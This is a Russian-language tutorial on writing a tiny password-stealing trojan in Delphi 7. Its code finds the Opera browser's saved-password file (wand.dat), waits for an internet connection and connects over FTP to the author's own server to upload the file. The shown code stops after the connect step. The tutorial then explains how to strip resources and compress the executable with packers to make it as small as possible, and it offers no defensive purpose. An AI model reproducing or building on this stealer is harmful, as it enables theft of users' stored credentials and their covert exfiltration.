Статья рассчитана на имеющих базовые знания.
Чтобы создать миниатюрный троян с функционалом стиллера (ворующего пароли) и отправляющего их на фтп Размером от 4 кб до 1,2 или даже 1,1 кб нам понадобится среда Delphi 7, Программа для работы с ресурсами - Restorator (https://delfcode.ru/load/delphi/dsoft/restorator_2009/2-1-0-493) и несколько пакеров например FSG, UPX, MEW.
Чтобы получить ехе файл такого размера для начала необходимо подготовить "почву" перекомпилировать системные модули Delphi и получить два файла - SysInit.dcu, System.dcu (https://delfcode.ru/files/System.dcu https://delfcode.ru/files/SysInit.dcu).
после этого создаём папку с проектом и копируем модули в папку создаем файл *.dpr в этой папке, открываем и начинаем с чистого листа
Эти функции вынесены из стандартных модулей delphi :
function InternetOpen(lpszAgent:PChar;dwAccessType: integer ;lpszProxy,lpszProxyBypass:PChar;dwFlags: integer): Pointer ;stdcall;external winetdll name 'InternetOpenA';
function InternetConnect(hInet : pointer; lpszServerName: PChar;nServerPort: Word ;lpszUsername: PChar; lpszPassword: PChar;dwService: integer; dwFlags:integer;dwContext:integer): pointer ;stdcall;external winetdll name 'InternetConnectA';
procedure Sleep(dwMilliseconds:integer);stdcall;external kernel32 name 'Sleep';
function FtpPutFile(hConnect : pointer;lpszLocalFile:PChar;lpszNewRemoteFile:PChar;dwFlags: integer; dwContext:integer):Boolean;stdcall;external winetdll name 'FtpPutFileA';
function InternetCloseHandle(hInet: pointer):Boolean ;stdcall;external winetdll name 'InternetCloseHandle';
function FindClose(hFindFile: integer): BOOLEAN; stdcall; external kernel32 name 'FindClose';
function FindFirstFile(lpFileName: PChar; var lpFindFileData: TWin32FindData): integer; stdcall; external kernel32 name 'FindFirstFileA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
function GetEnvironmentVariable(lpName: PChar; lpBuffer: PChar; nSize: integer): integer; stdcall; external kernel32 name 'GetEnvironmentVariableA';
function InternetGetConnectedState(lpdwFlags: pointer;dwReserved: INTEGER): BOOLEAN; stdcall; external winetdll name 'InternetGetConnectedState';
Эта функция замена стандартной FileExists чтобы не использовать SysUtils :
function Exists(path : PChar): boolean;
var
FD : TWin32FindData;
H : Integer;
begin
H:=FindFirstFile(path,FD);
if H <> -1 then
Result:=true
else
Result:=false;
FindClose(H);
end;
Дальше идёт основной код проверка есть ли файл :
begin
GetEnvironmentVariable('appdata',wand,MAX_PATH);
lstrcat(wand,'\Opera\Opera\wand.dat');
if Exists(wand) then
begin
Программа будет проверять есть ли соединение с интернет каждые 30 секунд, если есть то... :
repeat
sleep(30000);
until
InternetGetConnectedState(nil,0);
Отсылаем нужный нам файл к нам на сервер :
IntOpn:= internetopen('nil',1,nil,nil,0);
if assigned(IntOpn) then
begin
IntCnt:= internetconnect(IntOpn,PChar(server),21,PChar(Login),PChar(PassW),1,$08000000,0);
if assigned(IntCnt) then
begin
sleep(100);
Написание закончено, теперь скомпилированный нами ехе весит около 4 кб, и в нем присутствуют по крайней мере 2 ненужные нам секции - ресурсов и релокации. Секцию ресурсов можно удалить в рестораторе - закидаваем файл в него и удаляем все ресурсы. Теперь ехе весит около 3,5 кб. Чтобы уменьшить его размер можно использовать пакеры FSG, UPX, MEW, которые так же можно найти на нашем сайте. Если упаковать полученный ехе то его размер составит 1,5 - 1,1 кб! Удачной разработки!